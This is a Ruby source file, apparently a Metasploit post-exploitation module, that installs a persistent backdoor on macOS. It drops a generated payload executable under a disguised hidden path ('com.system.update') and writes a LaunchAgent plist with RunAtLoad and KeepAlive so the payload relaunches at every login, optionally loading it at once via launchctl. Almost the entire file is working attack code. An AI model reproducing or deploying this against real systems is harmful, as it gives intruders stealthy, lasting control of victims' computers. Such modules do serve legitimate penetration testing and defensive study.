##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'shellwords'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::EXE

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Mac OS X Persistent Payload Installer',
      'Description'   => %q{
        This module provides a persistent boot payload by creating a plist entry
        in current user's ~/Library/LaunchAgents directory. Whenever the user logs in,
        the LaunchAgent will be invoked and this dropped payload will run.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", "joev" ],
      'Platform'      => [ 'osx' ],
      'Targets'       => [ [ 'Mac OS X', {} ] ],
      'DefaultTarget' => 0,
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'DisclosureDate' => 'Apr 01 2012'
    ))

    register_options([
      OptString.new('BACKDOOR_PATH',
        [true, 'Path to hide the backdoor on the target.',
         '~/Library/.<random>/com.system.update']
      ),
      OptBool.new('KEEPALIVE',
        [true, 'Continually restart the payload exe if it crashes/exits.', true]
      ),
      OptBool.new('RUN_NOW',
        [false, 'Run the installed payload immediately.', false]
      )
    ], self.class)
  end

  def exploit
    check_for_duplicate_entry
    # Store backdoor on target machine
    write_backdoor(generate_payload_exe)
    # Add plist file to LaunchAgents dir
    add_launchctl_item
    # tell the user how to remove the persistence if necessary
    list_removal_paths
  end

  private

  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
  def add_launchctl_item
    label = File.basename(backdoor_path)
    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
    # Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
    item = <<-EOI
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
      <dict>
        <key>Label</key>
        <string>#{label}</string>
        <key>Program</key>
        <string>#{backdoor_path}</string>
        <key>ProgramArguments</key>
        <array>
          <string>#{backdoor_path}</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>OnDemand</key>
        <#{keepalive?}/>
        <key>KeepAlive</key>
        <#{keepalive?}/>
      </dict>
    </plist>
    EOI

    if write_file(plist_path, item)
      print_good("LaunchAgent added: #{plist_path}")
    else
      fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
    end

    if run_now?
      cmd_exec("launchctl load -w #{plist_path.shellescape}")
    end

    print_good("LaunchAgent installed successfully.")
  end

  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
  # @return [String] path to drop the backdoor payload.
  def backdoor_path
    @backdoor_path ||= (datastore['BACKDOOR_PATH']
      .gsub('<random>'){ Rex::Text.rand_text_alpha(8) }
      .gsub(/^~\//, "/Users/#{user}/"))
  end

  # raises an error if a Launch Agent already exists at desired same plist_path
  def check_for_duplicate_entry
    if file?(plist_path)
      fail_with "FileError", "Duplicate LaunchAgent plist already exists at #{plist_path}"
    end
  end

  # @return [Boolean] user wants the persistence to be restarted constantly if it exits
  def keepalive?
    datastore['KEEPALIVE']
  end

  # useful if you want to remove the persistence.
  # prints out a list of paths to remove and commands to run.
  def list_removal_paths
    files = [backdoor_path, plist_path]
    print_status("To remove the persistence, run:\n"+
                 "$ launchctl unload -w #{plist_path.shellescape}\n"+
                 files.map{|f| "$ rm #{f}"}.join("\n"))
  end

  # path to the LaunchAgent service configuration plist
  # @return [String] path to the LaunchAgent service
  def plist_path
    @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"
  end

  # @return [Boolean] user wants to launch the LaunchAgent immediately
  def run_now?
    datastore['RUN_NOW']
  end

  # @return [String] username of the session
  def user
    @user ||= cmd_exec('whoami').strip
  end

  # drops the file to disk, then makes it executable
  # @param [String] exe the executable to drop
  def write_backdoor(exe)
    print_status("Dropping backdoor executable...")
    cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")

    if write_file(backdoor_path, exe)
      print_good("Backdoor stored to #{backdoor_path}")
      cmd_exec("chmod +x #{backdoor_path.shellescape}")
    else
      fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
    end
  end
end
